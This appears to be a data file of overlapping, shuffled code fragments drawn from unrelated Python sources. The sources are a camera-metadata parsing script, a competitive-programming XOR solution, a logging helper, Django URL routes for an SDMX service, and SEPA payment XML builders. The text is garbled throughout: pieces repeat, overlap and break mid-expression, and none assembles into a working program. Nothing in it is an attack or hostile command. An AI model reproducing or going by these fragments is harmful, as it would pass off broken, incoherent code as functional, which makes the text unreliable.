item", "\", pMetadata);\") with open('list.txt', 'w') as f: for item in", "= data[start:end] metadata = data.split(\"\\n\") metalist = list() for line", "with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read() f.closed start", "foo = line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \",", "data.split(\"\\n\") metalist = list() for line in metadata: if (line.startswith('", "in metadata: if (line.startswith(' INCLUDE')): foo = line.split(',') foo[0] =", "as f: data = f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM')", "(line.startswith(' INCLUDE')): foo = line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0]", "list() for line in metadata: if (line.startswith(' INCLUDE')): foo =", "<reponame>x2dev/device_leeco_x2 #!/bin/python3 with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read()", "'PRINT') metalist.append(foo[0] + \", pMetadata);\") with open('list.txt', 'w') as f:", "with open('list.txt', 'w') as f: for item in metalist: f.write(\"%s\\n\"", "line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\") with", "= f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('}" ]
[ "result += t return result A, B = map(int, input().split())", "(2 * n) * n + max(A % (2 *", "- 1, t)) % 2 == 1: result += t", "// (2 * n) * n + max(A % (2", "def g(A, n): if A == -1: return 0 return", "if (g(B, t) - g(A - 1, t)) % 2", "result = 0 for i in range(48): t = 1", "t return result A, B = map(int, input().split()) print(f(A, B))", "n): if A == -1: return 0 return A //", "<< i if (g(B, t) - g(A - 1, t))", "if A == -1: return 0 return A // (2", "for i in range(48): t = 1 << i if", "t = 1 << i if (g(B, t) - g(A", "(2 * n) - (n - 1), 0) def f(A,", "== -1: return 0 return A // (2 * n)", "<reponame>c-yan/atcoder def g(A, n): if A == -1: return 0", "t) - g(A - 1, t)) % 2 == 1:", "1), 0) def f(A, B): result = 0 for i", "= 1 << i if (g(B, t) - g(A -", "- 1), 0) def f(A, B): result = 0 for", "== 1: result += t return result A, B =", "+= t return result A, B = map(int, input().split()) print(f(A,", "in range(48): t = 1 << i if (g(B, t)", "g(A - 1, t)) % 2 == 1: result +=", "def f(A, B): result = 0 for i in range(48):", "f(A, B): result = 0 for i in range(48): t", "= 0 for i in range(48): t = 1 <<", "g(A, n): if A == -1: return 0 return A", "- g(A - 1, t)) % 2 == 1: result", "n) * n + max(A % (2 * n) -", "n + max(A % (2 * n) - (n -", "0 return A // (2 * n) * n +", "* n + max(A % (2 * n) - (n", "- (n - 1), 0) def f(A, B): result =", "B): result = 0 for i in range(48): t =", "max(A % (2 * n) - (n - 1), 0)", "(g(B, t) - g(A - 1, t)) % 2 ==", "* n) * n + max(A % (2 * n)", "1: result += t return result A, B = map(int,", "A == -1: return 0 return A // (2 *", "% 2 == 1: result += t return result A,", "0 for i in range(48): t = 1 << i", "1, t)) % 2 == 1: result += t return", "-1: return 0 return A // (2 * n) *", "2 == 1: result += t return result A, B", "range(48): t = 1 << i if (g(B, t) -", "% (2 * n) - (n - 1), 0) def", "0) def f(A, B): result = 0 for i in", "return A // (2 * n) * n + max(A", "A // (2 * n) * n + max(A %", "* n) - (n - 1), 0) def f(A, B):", "i if (g(B, t) - g(A - 1, t)) %", "t)) % 2 == 1: result += t return result", "i in range(48): t = 1 << i if (g(B,", "n) - (n - 1), 0) def f(A, B): result", "(n - 1), 0) def f(A, B): result = 0", "+ max(A % (2 * n) - (n - 1),", "return 0 return A // (2 * n) * n", "1 << i if (g(B, t) - g(A - 1," ]
[ "logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) '''", "- %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message')", "logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger", "TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s -", "= MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message')", "self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename,", "- %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\")", "%(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info", "ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s -", "%(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug", "TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger = logging.getLogger(name)", "%(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger =", "not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter", "''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message')", "def __init__(self, name, filename): self.logger = logging.getLogger(name) if not self.logger.handlers:", "message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message') logger.logger.critical('critical message') '''", "self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s", "import TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger =", "ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')", "from logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename):", "name, filename): self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch", "MyLog(): def __init__(self, name, filename): self.logger = logging.getLogger(name) if not", "logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error", "__init__(self, name, filename): self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO)", "ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message')", "= logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight',", "when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s", "filename): self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch =", "= TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s", "<reponame>kizunai/Weather-Scrapy import logging from logging.handlers import TimedRotatingFileHandler class MyLog(): def", "logging from logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self, name,", "if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG)", "import logging from logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self,", "- %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch) ''' logger", "class MyLog(): def __init__(self, name, filename): self.logger = logging.getLogger(name) if", "self.logger.addHandler(ch) ''' logger = MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn", "self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter =", "encoding=\"utf-8\") ch.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s -", "formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter)", "logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message') logger.logger.critical('critical message')", "= logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter) self.logger.addHandler(ch)", "logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFileHandler(filename=filename, when='midnight', encoding=\"utf-8\")", "MyLog(\"test\",\"log\\\\text.txt\") logger.logger.debug('debug message') logger.logger.info('info message') logger.logger.warning('warn message') logger.logger.error('error message') logger.logger.critical('critical" ]
[ "fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" #", "import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age')", "from django.urls import path, register_converter from fiesta import converters from", "fiesta import converters from fiesta.views import views from rest_framework.urlpatterns import", "register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>',", "converters from fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns #", "# \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns =", "views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()),", "# urls.py from django.urls import path, register_converter from fiesta import", "format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter,", "views from rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter,", "# \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con')", "from fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\"", "path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/',", "urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/',", "\"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [", "from fiesta import converters from fiesta.views import views from rest_framework.urlpatterns", "django.urls import path, register_converter from fiesta import converters from fiesta.views", "register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>',", "<gh_stars>0 # urls.py from django.urls import path, register_converter from fiesta", "register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/',", "rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter,", "import converters from fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns", "import views from rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\"", "= [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()),", "views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/'", "path, register_converter from fiesta import converters from fiesta.views import views", "views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()), ] urlpatterns = format_suffix_patterns(urlpatterns)", "'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()),", "from rest_framework.urlpatterns import format_suffix_patterns # \"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res')", "path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()),", "[ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/',", "'age') register_converter(converters.ContextConverter, 'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()),", "urls.py from django.urls import path, register_converter from fiesta import converters", "views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()), ] urlpatterns", "views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/',", "\"http://django-sdmx.org/wsrest/\" # \"http://django-sdmx.org/ws/\" register_converter(converters.ResourceConverter, 'res') register_converter(converters.AgencyConverter, 'age') register_converter(converters.ContextConverter, 'con') urlpatterns", "import path, register_converter from fiesta import converters from fiesta.views import", "'con') urlpatterns = [ path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()),", "path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()), ] urlpatterns =", "register_converter from fiesta import converters from fiesta.views import views from", "path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/<str:resourceID>/' '<str:version>/', views.SDMXRESTfulStructureView.as_view()), ]", "path('wsreg/SubmitStructure/', views.SubmitStructureRequestView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/schema/<con:context>/<age:agencyID>/<str:resourceID>/<str:version>', views.SDMXRESTfulSchemaView.as_view()), path('wsrest/<res:resource>/', views.SDMXRESTfulStructureView.as_view()), path('wsrest/<res:resource>/<age:agencyID>/', views.SDMXRESTfulStructureView.as_view())," ]
[ "while len(array) > 0: item = array.pop(0) if item ==", "item = array.pop(0) if item == 0 and not type(item)", "new_array = [] new_index = 0 while len(array) > 0:", "len(array) > 0: item = array.pop(0) if item == 0", "end, preserving the order of the other elements. def move_zeros(array):", "# Write an algorithm that takes an array and moves", "zeros to the end, preserving the order of the other", "of the other elements. def move_zeros(array): #your code here new_array", "moves all of the zeros to the end, preserving the", "to the end, preserving the order of the other elements.", "item == 0 and not type(item) == bool : new_array.append(item)", "the end, preserving the order of the other elements. def", "<filename>code-wars/010.moving-zeros-to-the-end.py # Write an algorithm that takes an array and", "0: item = array.pop(0) if item == 0 and not", "= 0 while len(array) > 0: item = array.pop(0) if", "array and moves all of the zeros to the end,", "elements. def move_zeros(array): #your code here new_array = [] new_index", "0 and not type(item) == bool : new_array.append(item) else: new_array.insert(new_index,", "= array.pop(0) if item == 0 and not type(item) ==", "move_zeros(array): #your code here new_array = [] new_index = 0", "and moves all of the zeros to the end, preserving", "the zeros to the end, preserving the order of the", "that takes an array and moves all of the zeros", "an array and moves all of the zeros to the", "and not type(item) == bool : new_array.append(item) else: new_array.insert(new_index, item)", "new_index = 0 while len(array) > 0: item = array.pop(0)", "= [] new_index = 0 while len(array) > 0: item", "== 0 and not type(item) == bool : new_array.append(item) else:", "else: new_array.insert(new_index, item) new_index = new_index + 1 return new_array", "def move_zeros(array): #your code here new_array = [] new_index =", "#your code here new_array = [] new_index = 0 while", "not type(item) == bool : new_array.append(item) else: new_array.insert(new_index, item) new_index", "Write an algorithm that takes an array and moves all", "code here new_array = [] new_index = 0 while len(array)", ": new_array.append(item) else: new_array.insert(new_index, item) new_index = new_index + 1", "new_array.append(item) else: new_array.insert(new_index, item) new_index = new_index + 1 return", "here new_array = [] new_index = 0 while len(array) >", "algorithm that takes an array and moves all of the", "== bool : new_array.append(item) else: new_array.insert(new_index, item) new_index = new_index", "preserving the order of the other elements. def move_zeros(array): #your", "the order of the other elements. def move_zeros(array): #your code", "an algorithm that takes an array and moves all of", "type(item) == bool : new_array.append(item) else: new_array.insert(new_index, item) new_index =", "if item == 0 and not type(item) == bool :", "of the zeros to the end, preserving the order of", "order of the other elements. def move_zeros(array): #your code here", "> 0: item = array.pop(0) if item == 0 and", "other elements. def move_zeros(array): #your code here new_array = []", "array.pop(0) if item == 0 and not type(item) == bool", "0 while len(array) > 0: item = array.pop(0) if item", "the other elements. def move_zeros(array): #your code here new_array =", "all of the zeros to the end, preserving the order", "[] new_index = 0 while len(array) > 0: item =", "bool : new_array.append(item) else: new_array.insert(new_index, item) new_index = new_index +", "takes an array and moves all of the zeros to" ]
[ "data = { '_name': tag_name, '_attrs': attrs or [], '_value':", "addr_data['address'] = address return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information =", "'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message'] = message", "= construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode, account.city)) addr_data['address'] = address", "header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return header def", "% i] = transfer_information return payment_inf def construct_document(ctransfer): root =", "rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information def construct_payment_information(ctransfer):", "i] = transfer_information return payment_inf def construct_document(ctransfer): root = construct_tag_data('Document',", "= construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf =", "'bic', 'BIC', [], account.bic) return bic_data def construct_address_data(account, tag_name): addr_data", "child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)],", "return transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId',", "child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'),", "header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [],", "= add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref',", "rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf']", "rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp", "tag_name, '_attrs': attrs or [], '_value': value, } if sorting:", "iban_data def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'),", "= construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor,", "construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i, payment in", "'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] =", "account.city)) addr_data['address'] = address return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information", "[], account.bic) return bic_data def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name)", "value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr') if account.country: address['country'] =", "construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return iban_data", "'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch']", "rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] =", "value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum']", "= add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time']", "value='SLEV') for i, payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment)", "construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] = transfer_information return payment_inf def", "construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp')", "['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf']", "child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured']", "= construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum',", "= construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs',", "value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] =", "construct_tag_data(child_tag_name, child_attrs, child_value) return data def construct_header(ctransfer): header = construct_tag_data('GrpHdr')", "= add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId',", "= add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr',", "payment) payment_inf['transfer_no_%s' % i] = transfer_information return payment_inf def construct_document(ctransfer):", "account.bic) return bic_data def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name']", "child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured:", "value=None, sorting=None): data = { '_name': tag_name, '_attrs': attrs or", "{ '_name': tag_name, '_attrs': attrs or [], '_value': value, }", "construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt',", "= construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm',", "child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code',", "= add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return header def construct_iban(account,", "['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt',", "add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value)", "data['_sorting'] = sorting return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None,", "sorting: data['_sorting'] = sorting return data def add_simple_child(data, child_friendly_name, child_tag_name,", "= construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if", "transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', 